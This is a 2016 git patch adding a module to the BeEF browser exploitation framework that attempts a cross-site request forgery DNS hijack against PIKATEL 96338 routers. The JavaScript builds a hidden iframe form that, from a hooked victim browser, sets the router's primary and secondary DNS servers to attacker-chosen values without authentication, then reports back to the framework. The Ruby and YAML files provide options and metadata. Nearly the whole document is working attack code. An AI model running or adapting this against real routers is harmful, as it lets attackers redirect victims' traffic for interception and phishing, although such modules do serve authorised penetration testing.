From a69ccff8e8809a3c453011268997e248a025e8ac Mon Sep 17 00:00:00 2001
From: Brendan Coles <bcoles@gmail.com>
Date: Sat, 8 Oct 2016 19:38:08 +0000
Subject: [PATCH] Add PIKATEL Router DNS Hijack module

---
 .../pikatel_96338_dns_hijack/command.js       | 60 +++++++++++++++++++
 .../pikatel_96338_dns_hijack/config.yaml      | 18 ++++++
 .../router/pikatel_96338_dns_hijack/module.rb | 20 +++++++
 3 files changed, 98 insertions(+)
 create mode 100644 modules/exploits/router/pikatel_96338_dns_hijack/command.js
 create mode 100644 modules/exploits/router/pikatel_96338_dns_hijack/config.yaml
 create mode 100644 modules/exploits/router/pikatel_96338_dns_hijack/module.rb

diff --git a/modules/exploits/router/pikatel_96338_dns_hijack/command.js b/modules/exploits/router/pikatel_96338_dns_hijack/command.js
new file mode 100644
index 000000000..33248db24
--- /dev/null
+++ b/modules/exploits/router/pikatel_96338_dns_hijack/command.js
@@ -0,0 +1,60 @@
+//
+// Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+beef.execute(function() {
+
+	// config
+	var target  = 'http://<%= @rhost %>/dnscfg.cgi';
+	var dns1    = '<%= @dns1 %>';
+	var dns2    = '<%= @dns2 %>';
+	var timeout = 15;
+
+	// validate primary DNS server IP address
+	var parts = dns1.split('.');
+	if (parts.length != 4) {
+		beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
+		return;
+	}
+	for (var i=0; i<parts.length; i++) {
+		var part = parts[i];
+		if (isNaN(part) || part < 0 || part > 255) {
+			beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
+			return;
+		}
+	}
+
+	// validate secondary DNS server IP address
+	var parts = dns2.split('.');
+	if (parts.length != 4) {
+		beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
+		return;
+	}
+	for (var i=0; i<parts.length; i++) {
+		var part = parts[i];
+		if (isNaN(part) || part < 0 || part > 255) {
+			beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
+			return;
+		}
+	}
+
+        // change DNS
+        var pikatel_96338_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [
+                {'type':'hidden', 'name':'dnsPrimary',   'value': dns1},
+                {'type':'hidden', 'name':'dnsSecondary', 'value': dns2},
+                {'type':'hidden', 'name':'dnsDynamic', 'value': '0'},
+                {'type':'hidden', 'name':'dnsRefresh', 'value': '1'}
+        ]);
+
+	beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
+
+	// clean up
+	cleanup = function() {
+		document.body.removeChild(pikatel_96338_iframe_<%= @command_id %>);
+	}
+	setTimeout("cleanup()", timeout*1000);
+
+});
+
diff --git a/modules/exploits/router/pikatel_96338_dns_hijack/config.yaml b/modules/exploits/router/pikatel_96338_dns_hijack/config.yaml
new file mode 100644
index 000000000..836d37efa
--- /dev/null
+++ b/modules/exploits/router/pikatel_96338_dns_hijack/config.yaml
@@ -0,0 +1,18 @@
+#
+# Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+# References:
+# https://www.exploit-db.com/exploits/40369/
+#
+beef:
+    module:
+        pikatel_96338_dns_hijack:
+            enable: true
+            category: ["Exploits", "Router"]
+            name: "PIKATEL Router DNS Hijack"
+            description: "Attempts to change the DNS setting on PIKATEL 96338WS and 96338L-2M-8M routers.<br/><br/>These routers reportedly does not require authentication to change the DNS servers.<br/><br/>This module has not been tested."
+            authors: ["Todor Donev"]
+            target:
+                unknown: ["ALL"]
diff --git a/modules/exploits/router/pikatel_96338_dns_hijack/module.rb b/modules/exploits/router/pikatel_96338_dns_hijack/module.rb
new file mode 100644
index 000000000..23395d73a
--- /dev/null
+++ b/modules/exploits/router/pikatel_96338_dns_hijack/module.rb
@@ -0,0 +1,20 @@
+#
+# Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+class Pikatel_96338_dns_hijack < BeEF::Core::Command
+  
+	def self.options
+		return [
+			{'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '192.168.1.1'},
+			{'name' => 'dns1', 'ui_label' => 'Primary DNS Server', 'value' => '8.8.8.8'},
+			{'name' => 'dns2', 'ui_label' => 'Secondary DNS Server', 'value' => '8.8.4.4'}
+		]
+	end
+
+	def post_execute
+		save({'result' => @datastore['result']})
+	end
+
+end